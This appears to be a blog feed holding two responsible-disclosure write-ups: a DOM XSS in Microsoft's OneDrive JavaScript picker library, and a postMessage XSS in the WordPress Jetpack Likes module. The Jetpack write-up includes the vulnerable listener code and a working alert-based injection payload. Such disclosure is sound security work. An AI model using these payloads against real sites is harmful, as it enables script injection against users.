Jekyll2016-07-02T12:33:09+02:00https://luc10.github.io/Luciano CorsaliniOneDrive: an easter egg into MS library - XSS on Microsoft and not only2016-07-02T12:00:00+02:002016-07-02T12:00:00+02:00https://luc10.github.io/onedrive-an-easter-egg-into-ms-library<p>Website, web services or web apps continuously evolves to add new features for
customers/users. That’s why a good hunter comes back and restart searching. That’s
what happened when I noticed a new features on <strong>Vimeo</strong> (maybe it’s and old one for
you but I’m not Vimeo addicted so it was the first time I saw it).</p>
<h2 id="the-feature">The feature</h2>
<p>It’s possible to upload video from Google Drive, Dropbox, OneDrive and Box. I knew
how Google Drive and Dropbox work so I decided to focus on OneDrive first and then
Box. Vimeo’s dev self-hosted a so called <strong>OneDrive.min.js</strong> library subjected to a <strong>XSS</strong> attack.
Written a poc, submitted the bug to Vimeo and then quitted.</p>
<h2 id="something-i-missed">Something I missed</h2>
<p>Have you ever had that feeling? That’s why I reopened my laptop once back and
googled these words: <em>onedrive</em>, <em>microsoft</em>, <em>js</em>. As first result I got
this page:</p>
<p>{% highlight raw %}
https://dev.onedrive.com/sdk/javascript-picker-saver.htm
{% endhighlight %}</p>
<p>It was late, as I said, and I was a bit tired so I didn’t noticed that Microsoft
hosts different version of <strong>OneDrive</strong> library so I picked up the <strong>v7</strong>,
and after few changes to vimeo poc the famous <strong>alert(document.domain)</strong>
was executed on <strong>dev.onedrive.com</strong>.</p>
<h2 id="how-does-it-works">How does it works?</h2>
<p>And now, the interesting stuffs:</p>
<p>{% highlight js %}
e.handleRedirect = function() {
var t = p.readCurrentUrlParameters()
, r = f.getWindowState()
, n = t[i.PARAM_STATE];
if (!n)
return null ;
a.logMessage(“current state: “ + n);
n !== i.STATE_OPEN_POPUP || r.options || (r = JSON.parse(t[i.PARAM_SDK_STATE]));
var s = r.options
, d = r.optionsMode
, h = c[d];
s || o.throwError(“missing options from serialized state”);
if (t[i.PARAM_ERROR] === i.ERROR_LOGIN_REQUIRED || t[i.PARAM_ERROR] === i.ERROR_AUTH_REQUIRED) {
l.deleteLoghinHint(s.clientId);
l.loginHint = null ;
e.redirectToAADLogin(s, r, !0);
return null
}
l.getLoginHint(s.clientId);
var g = u.validateType(s.openInNewWindow, i.TYPE_BOOLEAN);
g && e.<em>displayOverlay();
s.advanced && s.advanced.sharePointTenantPersonalUrl || o.throwError(“advanced options is missing”);
switch (n) {
case i.STATE_OPEN_POPUP:
e.redirectToAADLogin(s, r);
break;
case i.STATE_AAD_LOGIN:
e._handleAADLogin(t, s, h);
break;
case i.STATE_MSA_PICKER:
case i.STATE_AAD_PICKER:
var _ = {
windowState: r,
queryParameters: t
};
a.logMessage(“sending invoker response”);
if (!g)
return _;
e._sendResponse(</em>);
break;
default:
o.throwError(“invalid value for redirect state: “ + n)
}
return null
}
{% endhighlight %}</p>
<p>Once initialized, the code get params from GET query calling the <strong>readCurrentUrlParameters</strong>
method and parse the content of <strong>window.name</strong> calling <strong>getWindowState</strong>:</p>
<p>{% highlight js %}
e.getWindowState = function() {
return n.deserializeJSON(window.name || “{}”)
}
{% endhighlight %}</p>
<p>We can control both <strong>GET params</strong> and <strong>window.name</strong> so we can pass to next step
and see what the code does:</p>
<p>{% highlight js %}
n = t[i.PARAM_STATE];
…
switch (n) {
…
}
{% endhighlight %}</p>
<p>The <strong>n</strong> param control the switch jump and there’s an interesting case (<strong>STATE_AAD_LOGIN</strong>).</p>
<p>{% highlight js %}
case i.STATE_AAD_LOGIN:
e._handleAADLogin(t, s, h);</p>
<p>e._handleAADLogin = function(t, r, n) {
r.openInNewWindow || e._displayOverlay();
r.advanced.accessToken = t[i.PARAM_ACCESS_TOKEN];
if (r.sharePointTenantPersonalUrl)
e._redirectToTenant(r, n, r.openInNewWindow);
…
}</p>
<p>e._redirectToTenant = function(t, r, n) {
var a = function(i) {
…
e.redirect(i, {
picker: {
accessLevel: n,
selectionMode: a,
viewType: o,
filter: t.advanced.filter
},
options: t,
ODBParams: {
p: “2”
}
})
};</p>
<p>if (t.sharePointTenantPersonalUrl) {
var l = t.advanced.sharePointTenantPersonalUrl;
a(l)
} else {
…
}
}</p>
<p>e.redirect = function(e, t, r) {
void 0 === t && (t = null );
void 0 === r && (r = null );
t && f.setWindowState(t, r);
window.location.replace(e)
}
{% endhighlight %}</p>
<p><em><strong>handleAADLogin</strong> call <strong>_redirectToTenant</strong> that call <strong>a(l)</strong> which falls into
<strong>redirect</strong> method. Wow! There’s no check before _window.location.replace(e)</em>. We can trig
a XSS with a simple payload.</p>
<h2 id="all-in-onedrive">All in one(drive)</h2>
<p>And here you’re a simple poc:</p>
<p>{% gist luc10/3aab8d8077840470822c3e851f200219 %}</p>
<h2 id="easter-egg">Easter egg</h2>
<p>While writing this post I noticed that Microsoft hosts other two OneDrive libraries
(v5 and v6). After some checks I reported another XSS in v6 and discovered that
v5 (the oldest one) is not affected.</p>
Website, web services or web apps continuously evolves to add new features forcustomers/users. That’s why a good hunter comes back and restart searching. That’swhat happened when I noticed a new features on Vimeo (maybe it’s and old one foryou but I’m not Vimeo addicted so it was the first time I saw it).Jetpack, how to supercharge your WP blog with a XSS2016-06-21T10:30:00+02:002016-06-21T10:30:00+02:00https://luc10.github.io/jetpack-the-supercharge-that-expose-your-wp-blog<p>Wordpress is the commonly used blog framework/platform, indeed, if a user needs
to be ready in short times or just want to handle his own blog can setup a wordpress
intance in few minutes.</p>
<h2 id="charging-wp">Charging WP</h2>
<p>Wordpress itself provides a bunch of recommended plugins. The first one in the list
is <strong>Jetpack</strong> (owned by <a href="https://automattic.com/">Automattic</a>). Jetpack is an
all-in-one solutions to boost traffic, performance and protection… or, at least,
it should be.</p>
<h2 id="the-likes-module">The `Likes Module´</h2>
<p>Jetpack, as said, has some useful modules. One of them is the <strong>likes</strong> module.
This one shows <a href="https://wordpress.com">Wordpress</a> users that put a like on the post
and let them collect and organize blog articles on their own wp.com account.
If enabled, the plugin add a JS postMessage listener for a <strong>likesMessage</strong> event.</p>
<p>{% highlight js %}
pm.bind( ‘likesMessage’, function(e) { JetpackLikesMessageListener(e); } );
{% endhighlight %}</p>
<p>The main point is that this handler accept messages from any origin domain. Let’s give
a look at <strong>JetpackLikesMessageListener</strong> function.</p>
<p>{% highlight js %}
function JetpackLikesMessageListener( event ) {
if ( ‘undefined’ === typeof event.event ) {
return;
}</p>
<div class="highlighter-rouge"><pre class="highlight"><code>if ( 'masterReady' === event.event ) {
jQuery( document ).ready( function() {
jetpackLikesMasterReady = true;
var stylesData = {
event: 'injectStyles'
},
$sdTextColor = jQuery( '.sd-text-color' ),
$sdLinkColor = jQuery( '.sd-link-color' );
if ( jQuery( 'iframe.admin-bar-likes-widget' ).length > 0 ) {
JetpackLikespostMessage( { event: 'adminBarEnabled' }, window.frames[ 'likes-master' ] );
stylesData.adminBarStyles = {
background: jQuery( '#wpadminbar .quicklinks li#wp-admin-bar-wpl-like > a' ).css( 'background' ),
isRtl: ( 'rtl' === jQuery( '#wpadminbar' ).css( 'direction' ) )
};
}
if ( ! window.addEventListener ) {
jQuery( '#wp-admin-bar-admin-bar-likes-widget' ).hide();
}
stylesData.textStyles = {
color: $sdTextColor.css( 'color' ),
fontFamily: $sdTextColor.css( 'font-family' ),
fontSize: $sdTextColor.css( 'font-size' ),
direction: $sdTextColor.css( 'direction' ),
fontWeight: $sdTextColor.css( 'font-weight' ),
fontStyle: $sdTextColor.css( 'font-style' ),
textDecoration: $sdTextColor.css('text-decoration')
};
stylesData.linkStyles = {
color: $sdLinkColor.css('color'),
fontFamily: $sdLinkColor.css('font-family'),
fontSize: $sdLinkColor.css('font-size'),
textDecoration: $sdLinkColor.css('text-decoration'),
fontWeight: $sdLinkColor.css( 'font-weight' ),
fontStyle: $sdLinkColor.css( 'font-style' )
};
JetpackLikespostMessage( stylesData, window.frames[ 'likes-master' ] );
JetpackLikesBatchHandler();
jQuery( document ).on( 'inview', 'div.jetpack-likes-widget-unloaded', function() {
jetpackLikesWidgetQueue.push( this.id );
});
});
}
if ( 'showLikeWidget' === event.event ) {
jQuery( '#' + event.id + ' .post-likes-widget-placeholder' ).fadeOut( 'fast', function() {
jQuery( '#' + event.id + ' .post-likes-widget' ).fadeIn( 'fast', function() {
JetpackLikespostMessage( { event: 'likeWidgetDisplayed', blog_id: event.blog_id, post_id: event.post_id, obj_id: event.obj_id }, window.frames['likes-master'] );
});
});
}
if ( 'clickReblogFlair' === event.event ) {
wpcom_reblog.toggle_reblog_box_flair( event.obj_id );
}
if ( 'showOtherGravatars' === event.event ) {
var $container = jQuery( '#likes-other-gravatars' ),
$list = $container.find( 'ul' ),
offset, rowLength, height, scrollbarWidth;
$container.hide();
$list.html( '' );
$container.find( '.likes-text span' ).text( event.total );
jQuery.each( event.likers, function( i, liker ) {
$list.append( '<li class="' + liker.css_class + '"><a href="' + liker.profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker.avatar_URL + '" alt="' + liker.name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>');
} );
offset = jQuery( '[name=\'' + event.parent + '\']' ).offset();
$container.css( 'left', offset.left + event.position.left - 10 + 'px' );
$container.css( 'top', offset.top + event.position.top - 33 + 'px' );
rowLength = Math.floor( event.width / 37 );
height = ( Math.ceil( event.likers.length / rowLength ) * 37 ) + 13;
if ( height > 204 ) {
height = 204;
}
$container.css( 'height', height + 'px' );
$container.css( 'width', rowLength * 37 - 7 + 'px' );
$list.css( 'width', rowLength * 37 + 'px' );
$container.fadeIn( 'slow' );
scrollbarWidth = $list[0].offsetWidth - $list[0].clientWidth;
if ( scrollbarWidth > 0 ) {
$container.width( $container.width() + scrollbarWidth );
$list.width( $list.width() + scrollbarWidth );
}
} } {% endhighlight %}
</code></pre>
</div>
<p>What I immediately noticed is this code snippet</p>
<p>{% highlight js %}
…
$list.html( ‘’ );</p>
<p>$container.find( ‘.likes-text span’ ).text( event.total );</p>
<p>jQuery.each( event.likers, function( i, liker ) {
$list.append( ‘<li class="' + liker.css_class + '"><a href="' + liker.profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker.avatar_URL + '" alt="' + liker.name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>’);
} );
…
{% endhighlight %}</p>
<p>It seems that all <strong>liker</strong> properties are not sanitized or escaped before use. This allow to embed
the most commonly used <strong>XSS</strong> payload <em>”><img src=x onerror=code></em> and trig some js code.</p>
<h2 id="engine-on">Engine On</h2>
<p>Ok, to reach the target we’ve to post a custom js object which is handled firstly from the common
listener dispatcher and then from the <strong>JetpackLikesMessageListener</strong>.</p>
<p>{% highlight js %}<br />
_dispatch: function(e) {
//console.log(“$.pm.dispatch”, e, this);
try {
var msg = JSON.parse(e.data);
} catch (ex) {
//console.warn(“postmessage data invalid json: “, ex); //message wasn’t meant for pm
return;
}
if (!msg.type) {
//console.warn(“postmessage message type required”); //message wasn’t meant for pm
return;
}
var cbs = pm.data(“callbacks.postmessage”) || {}
, cb = cbs[msg.type];
if (cb) {
cb(msg.data);
} else {
var l = pm.data(“listeners.postmessage”) || {};
var fns = l[msg.type] || [];
for (var i = 0, len = fns.length; i < len; i++) {
var o = fns[i];
if (o.origin && o.origin !== ‘*’ && e.origin !== o.origin) {
console.warn(“postmessage message origin mismatch”, e.origin, o.origin);
if (msg.errback) {
// notify post message errback
var error = {
message: “postmessage origin mismatch”,
origin: [e.origin, o.origin]
};
pm.send({
target: e.source,
data: error,
type: msg.errback
});
}
continue;
}
function sendReply(data) {
if (msg.callback) {
pm.send({
target: e.source,
data: data,
type: msg.callback
});
}
}
try {
if (o.callback) {
o.fn(msg.data, sendReply, e);
} else {
sendReply(o.fn(msg.data, e));
}
} catch (ex) {
if (msg.errback) {
// notify post message errback
pm.send({
target: e.source,
data: ex,
type: msg.errback
});
} else {
throw ex;
}
}
}
;
}
}
{% endhighlight %}</p>
<p>So we’ve to post an object with <strong>type</strong> and <strong>data</strong> properties where the <strong>data</strong>
one contains <strong>event</strong> property and the <strong>likers</strong> one. Our final code will looks
like the following one.</p>
<p>{% highlight js %}
// load the target page
…
target.postMessage(
JSON.stringify({
type: ‘likesMessage’,
data: {
event:’showOtherGravatars’,
likers: [
{
css_class: ‘”><img src=x onerror=alert(0)>’
}
]
}
})
)
…
{% endhighlight %}</p>
<h2 id="great-team--great-results">Great team === great results</h2>
<p>Once found, I informed the vendor through <a href="https://hackerone.com/">h1</a> that
immediately triaged my report and pushed out a fix
in a short time. The first patch has only an <strong>origin</strong> check so I suggested them
to apply a check for <strong>profile_URL</strong> protocol too.</p>
Wordpress is the commonly used blog framework/platform, indeed, if a user needsto be ready in short times or just want to handle his own blog can setup a wordpressintance in few minutes.